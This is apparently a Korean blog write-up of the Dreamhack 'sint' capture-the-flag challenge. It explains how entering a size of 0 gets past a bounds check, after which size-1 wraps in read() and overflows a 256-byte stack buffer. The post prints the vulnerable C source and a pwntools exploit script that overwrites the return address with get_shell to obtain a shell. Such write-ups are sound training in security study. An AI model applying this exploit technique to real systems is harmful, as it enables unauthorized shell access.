1. Introduction
이 프로그램은 자료형과 overflow를 탐지하는 검증 메커니즘의 오류로 발생하는 취약점임
2. Static Analysis
처음 본 순간 어떻게 주소를 조작해서 get_shell() 을 호출하면 될것같다고 생각했다.
주어진 조건을 보면 buf[256] 으로 설정되어 있고, size는 256 넘게 입력할 경우 조건문 안으로 빠지게 되어 프로그램이 종료된다.
그러나 조건문은 or 문으로 되어있고 그 조건은 size > 256 || size<0 이다.
그러면 만약 size가 0 이면? 조건문에 걸리지 않아서 통과가 된다 ..
근데 size가 0이면 입력을 못받는거 아닌가 ?
read() 부부을 보면 size-1 만큼을 버퍼로 읽는걸 확인할 수 있다.
read 함수의 원형을 보면 read (int fd, void *buf, size_t len) 다음과 같다
- int fd는 파일 디스크립터
- void *buf 는 읽은 데이터를 저장할 메모리 공간
- size_t len 은 읽을 데이터의 크기
int size =0 일경우 size-1 을 하게되면 integer 범위가 넘어가게 된다. (2의 보수 계산)
정리하면
0을 넣어줌으로써 overflow 탐지 조건문을 넘어간다. 그 후 interger overflow를 이용해 ( 0을 입력할 경우 size-1의 크기만큼 read하는부분을 활용) 입력받는 버퍼의 크기를 늘리고 buffer overflow를 통해 get_shell 주소를 따내면 된다
#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main() { char buf[256]; int size; initialize(); signal(SIGSEGV, get_shell); printf("Size: "); scanf("%d", &size); if (size > 256 || size < 0) { printf("Buffer Overflow!\n"); exit(0); } printf("Data: "); read(0, buf, size - 1); return 0; }
3. Dynamic Analysis
동적분석을 할게 없다 ..
4. Exploit code
from pwn import * p = remote("host1.dreamhack.games","OOOOO") elf = ELF("./sint") ''' information''' ebp = 0xffffd538 ret = 0xffffd53c buf = 0xffffd438 get_shell = elf.symbols["get_shell"] p.recvuntil("Size: ") p.sendline('0') p.recvuntil('Data: ') payload = "A"*256 payload +=p32(get_shell) p.sendline(payload) p.interactive()
'개인공부 > pwnable' 카테고리의 다른 글
pwnable.kr bof 문제 (0) | 2019.10.21 |
---|---|
pwnable.kr fd 문제 (0) | 2019.10.21 |
[protostar] stack5 문제풀이 (0) | 2019.01.02 |
[protostar] stack4 문제풀이 (0) | 2018.12.31 |
[protostar] stack3 문제풀이 (0) | 2018.11.19 |
Uploaded by Notion2Tistory v1.1.0